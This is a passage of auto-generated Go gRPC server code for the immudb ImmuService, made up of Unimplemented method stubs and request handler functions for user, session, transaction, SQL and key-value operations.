(*VerifiableTx, error) { return nil, status.Errorf(codes.Unimplemented, "method VerifiableSetReference not implemented") } func (UnimplementedImmuServiceServer) ZAdd(context.Context, *ZAddRequest) (*TxHeader, error) { return nil, status.Errorf(codes.Unimplemented, "method ZAdd not implemented") } func (UnimplementedImmuServiceServer) VerifiableZAdd(context.Context, *VerifiableZAddRequest) (*VerifiableTx, error) { return nil, status.Errorf(codes.Unimplemented, "method VerifiableZAdd not implemented") } func (UnimplementedImmuServiceServer) ZScan(context.Context, *ZScanRequest) (*ZEntries, error) { return nil, status.Errorf(codes.Unimplemented, "method ZScan not implemented") } func (UnimplementedImmuServiceServer) CreateDatabase(context.Context, *Database) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateDatabase not implemented") } func (UnimplementedImmuServiceServer) CreateDatabaseWith(context.Context, *DatabaseSettings) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateDatabaseWith not implemented") } func (UnimplementedImmuServiceServer) CreateDatabaseV2(context.Context, *CreateDatabaseRequest) (*CreateDatabaseResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateDatabaseV2 not implemented") } func (UnimplementedImmuServiceServer) LoadDatabase(context.Context, *LoadDatabaseRequest) (*LoadDatabaseResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method LoadDatabase not implemented") } func (UnimplementedImmuServiceServer) UnloadDatabase(context.Context, *UnloadDatabaseRequest) (*UnloadDatabaseResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method UnloadDatabase not implemented") } func (UnimplementedImmuServiceServer) DeleteDatabase(context.Context, *DeleteDatabaseRequest) (*DeleteDatabaseResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DeleteDatabase not implemented") } func (UnimplementedImmuServiceServer) DatabaseList(context.Context, *emptypb.Empty) (*DatabaseListResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DatabaseList not implemented") } func (UnimplementedImmuServiceServer) DatabaseListV2(context.Context, *DatabaseListRequestV2) (*DatabaseListResponseV2, error) { return nil, status.Errorf(codes.Unimplemented, "method DatabaseListV2 not implemented") } func (UnimplementedImmuServiceServer) UseDatabase(context.Context, *Database) (*UseDatabaseReply, error) { return nil, status.Errorf(codes.Unimplemented, "method UseDatabase not implemented") } func (UnimplementedImmuServiceServer) UpdateDatabase(context.Context, *DatabaseSettings) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateDatabase not implemented") } func (UnimplementedImmuServiceServer) UpdateDatabaseV2(context.Context, *UpdateDatabaseRequest) (*UpdateDatabaseResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateDatabaseV2 not implemented") } func (UnimplementedImmuServiceServer) GetDatabaseSettings(context.Context, *emptypb.Empty) (*DatabaseSettings, error) { return nil, status.Errorf(codes.Unimplemented, "method GetDatabaseSettings not implemented") } func (UnimplementedImmuServiceServer) GetDatabaseSettingsV2(context.Context, *DatabaseSettingsRequest) (*DatabaseSettingsResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method GetDatabaseSettingsV2 not implemented") } func (UnimplementedImmuServiceServer) FlushIndex(context.Context, *FlushIndexRequest) (*FlushIndexResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method FlushIndex not implemented") } func (UnimplementedImmuServiceServer) CompactIndex(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CompactIndex not implemented") } func (UnimplementedImmuServiceServer) StreamGet(*KeyRequest, ImmuService_StreamGetServer) error { return status.Errorf(codes.Unimplemented, "method StreamGet not implemented") } func (UnimplementedImmuServiceServer) StreamSet(ImmuService_StreamSetServer) error { return status.Errorf(codes.Unimplemented, "method StreamSet not implemented") } func (UnimplementedImmuServiceServer) StreamVerifiableGet(*VerifiableGetRequest, ImmuService_StreamVerifiableGetServer) error { return status.Errorf(codes.Unimplemented, "method StreamVerifiableGet not implemented") } func (UnimplementedImmuServiceServer) StreamVerifiableSet(ImmuService_StreamVerifiableSetServer) error { return status.Errorf(codes.Unimplemented, "method StreamVerifiableSet not implemented") } func (UnimplementedImmuServiceServer) StreamScan(*ScanRequest, ImmuService_StreamScanServer) error { return status.Errorf(codes.Unimplemented, "method StreamScan not implemented") } func (UnimplementedImmuServiceServer) StreamZScan(*ZScanRequest, ImmuService_StreamZScanServer) error { return status.Errorf(codes.Unimplemented, "method StreamZScan not implemented") } func (UnimplementedImmuServiceServer) StreamHistory(*HistoryRequest, ImmuService_StreamHistoryServer) error { return status.Errorf(codes.Unimplemented, "method StreamHistory not implemented") } func (UnimplementedImmuServiceServer) StreamExecAll(ImmuService_StreamExecAllServer) error { return status.Errorf(codes.Unimplemented, "method StreamExecAll not implemented") } func (UnimplementedImmuServiceServer) ExportTx(*ExportTxRequest, ImmuService_ExportTxServer) error { return status.Errorf(codes.Unimplemented, "method ExportTx not implemented") } func (UnimplementedImmuServiceServer) ReplicateTx(ImmuService_ReplicateTxServer) error { return status.Errorf(codes.Unimplemented, "method ReplicateTx not implemented") } func (UnimplementedImmuServiceServer) StreamExportTx(ImmuService_StreamExportTxServer) error { return status.Errorf(codes.Unimplemented, "method StreamExportTx not implemented") } func (UnimplementedImmuServiceServer) SQLExec(context.Context, *SQLExecRequest) (*SQLExecResult, error) { return nil, status.Errorf(codes.Unimplemented, "method SQLExec not implemented") } func (UnimplementedImmuServiceServer) UnarySQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) { return nil, status.Errorf(codes.Unimplemented, "method UnarySQLQuery not implemented") } func (UnimplementedImmuServiceServer) SQLQuery(*SQLQueryRequest, ImmuService_SQLQueryServer) error { return status.Errorf(codes.Unimplemented, "method SQLQuery not implemented") } func (UnimplementedImmuServiceServer) ListTables(context.Context, *emptypb.Empty) (*SQLQueryResult, error) { return nil, status.Errorf(codes.Unimplemented, "method ListTables not implemented") } func (UnimplementedImmuServiceServer) DescribeTable(context.Context, *Table) (*SQLQueryResult, error) { return nil, status.Errorf(codes.Unimplemented, "method DescribeTable not implemented") } func (UnimplementedImmuServiceServer) VerifiableSQLGet(context.Context, *VerifiableSQLGetRequest) (*VerifiableSQLEntry, error) { return nil, status.Errorf(codes.Unimplemented, "method VerifiableSQLGet not implemented") } func (UnimplementedImmuServiceServer) TruncateDatabase(context.Context, *TruncateDatabaseRequest) (*TruncateDatabaseResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method TruncateDatabase not implemented") } // UnsafeImmuServiceServer may be embedded to opt out of forward compatibility for this service. // Use of this interface is not recommended, as added methods to ImmuServiceServer will // result in compilation errors. type UnsafeImmuServiceServer interface { mustEmbedUnimplementedImmuServiceServer() } func RegisterImmuServiceServer(s grpc.ServiceRegistrar, srv ImmuServiceServer) { s.RegisterService(&ImmuService_ServiceDesc, srv) } func _ImmuService_ListUsers_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).ListUsers(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/ListUsers", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).ListUsers(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_CreateUser_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(CreateUserRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).CreateUser(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/CreateUser", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).CreateUser(ctx, req.(*CreateUserRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_ChangePassword_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(ChangePasswordRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).ChangePassword(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/ChangePassword", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).ChangePassword(ctx, req.(*ChangePasswordRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_ChangePermission_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(ChangePermissionRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).ChangePermission(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/ChangePermission", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).ChangePermission(ctx, req.(*ChangePermissionRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_ChangeSQLPrivileges_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(ChangeSQLPrivilegesRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).ChangeSQLPrivileges(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/ChangeSQLPrivileges", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).ChangeSQLPrivileges(ctx, req.(*ChangeSQLPrivilegesRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_SetActiveUser_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(SetActiveUserRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).SetActiveUser(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/SetActiveUser", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).SetActiveUser(ctx, req.(*SetActiveUserRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_UpdateAuthConfig_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(AuthConfig) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).UpdateAuthConfig(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/UpdateAuthConfig", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).UpdateAuthConfig(ctx, req.(*AuthConfig)) } return interceptor(ctx, in, info, handler) } func _ImmuService_UpdateMTLSConfig_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(MTLSConfig) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).UpdateMTLSConfig(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/UpdateMTLSConfig", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).UpdateMTLSConfig(ctx, req.(*MTLSConfig)) } return interceptor(ctx, in, info, handler) } func _ImmuService_OpenSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(OpenSessionRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).OpenSession(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/OpenSession", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).OpenSession(ctx, req.(*OpenSessionRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_CloseSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).CloseSession(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/CloseSession", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).CloseSession(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_KeepAlive_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).KeepAlive(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/KeepAlive", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).KeepAlive(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_NewTx_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(NewTxRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).NewTx(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/NewTx", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).NewTx(ctx, req.(*NewTxRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_Commit_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).Commit(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/Commit", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).Commit(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_Rollback_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).Rollback(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/Rollback", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).Rollback(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_TxSQLExec_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(SQLExecRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).TxSQLExec(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/TxSQLExec", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).TxSQLExec(ctx, req.(*SQLExecRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_TxSQLQuery_Handler(srv interface{}, stream grpc.ServerStream) error { m := new(SQLQueryRequest) if err := stream.RecvMsg(m); err != nil { return err } return srv.(ImmuServiceServer).TxSQLQuery(m, &immuServiceTxSQLQueryServer{stream}) } type ImmuService_TxSQLQueryServer interface { Send(*SQLQueryResult) error grpc.ServerStream } type immuServiceTxSQLQueryServer struct { grpc.ServerStream } func (x *immuServiceTxSQLQueryServer) Send(m *SQLQueryResult) error { return x.ServerStream.SendMsg(m) } func _ImmuService_Login_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(LoginRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).Login(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/Login", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).Login(ctx, req.(*LoginRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_Logout_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).Logout(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/Logout", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).Logout(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_Set_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(SetRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).Set(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/Set", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).Set(ctx, req.(*SetRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_VerifiableSet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(VerifiableSetRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).VerifiableSet(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/VerifiableSet", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).VerifiableSet(ctx, req.(*VerifiableSetRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_Get_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(KeyRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).Get(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/Get", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).Get(ctx, req.(*KeyRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_VerifiableGet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(VerifiableGetRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).VerifiableGet(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/VerifiableGet", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).VerifiableGet(ctx, req.(*VerifiableGetRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_Delete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(DeleteKeysRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).Delete(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/Delete", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).Delete(ctx, req.(*DeleteKeysRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_GetAll_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(KeyListRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).GetAll(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/GetAll", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).GetAll(ctx, req.(*KeyListRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_ExecAll_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(ExecAllRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).ExecAll(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/ExecAll", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).ExecAll(ctx, req.(*ExecAllRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_Scan_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(ScanRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).Scan(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/Scan", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).Scan(ctx, req.(*ScanRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_Count_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(KeyPrefix) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).Count(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/Count", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).Count(ctx, req.(*KeyPrefix)) } return interceptor(ctx, in, info, handler) } func _ImmuService_CountAll_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).CountAll(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/CountAll", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).CountAll(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_TxById_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(TxRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).TxById(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/TxById", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).TxById(ctx, req.(*TxRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_VerifiableTxById_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(VerifiableTxRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).VerifiableTxById(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/VerifiableTxById", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).VerifiableTxById(ctx, req.(*VerifiableTxRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_TxScan_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(TxScanRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).TxScan(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/TxScan", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).TxScan(ctx, req.(*TxScanRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_History_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(HistoryRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).History(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/History", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).History(ctx, req.(*HistoryRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_ServerInfo_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(ServerInfoRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).ServerInfo(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/ServerInfo", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).ServerInfo(ctx, req.(*ServerInfoRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_Health_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).Health(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/Health", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).Health(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_DatabaseHealth_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).DatabaseHealth(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/DatabaseHealth", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).DatabaseHealth(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_CurrentState_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).CurrentState(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/CurrentState", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).CurrentState(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_SetReference_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(ReferenceRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).SetReference(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/SetReference", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).SetReference(ctx, req.(*ReferenceRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_VerifiableSetReference_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(VerifiableReferenceRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).VerifiableSetReference(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/VerifiableSetReference", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).VerifiableSetReference(ctx, req.(*VerifiableReferenceRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_ZAdd_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(ZAddRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).ZAdd(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/ZAdd", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).ZAdd(ctx, req.(*ZAddRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_VerifiableZAdd_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(VerifiableZAddRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).VerifiableZAdd(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/VerifiableZAdd", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).VerifiableZAdd(ctx, req.(*VerifiableZAddRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_ZScan_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(ZScanRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).ZScan(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/ZScan", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).ZScan(ctx, req.(*ZScanRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_CreateDatabase_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor 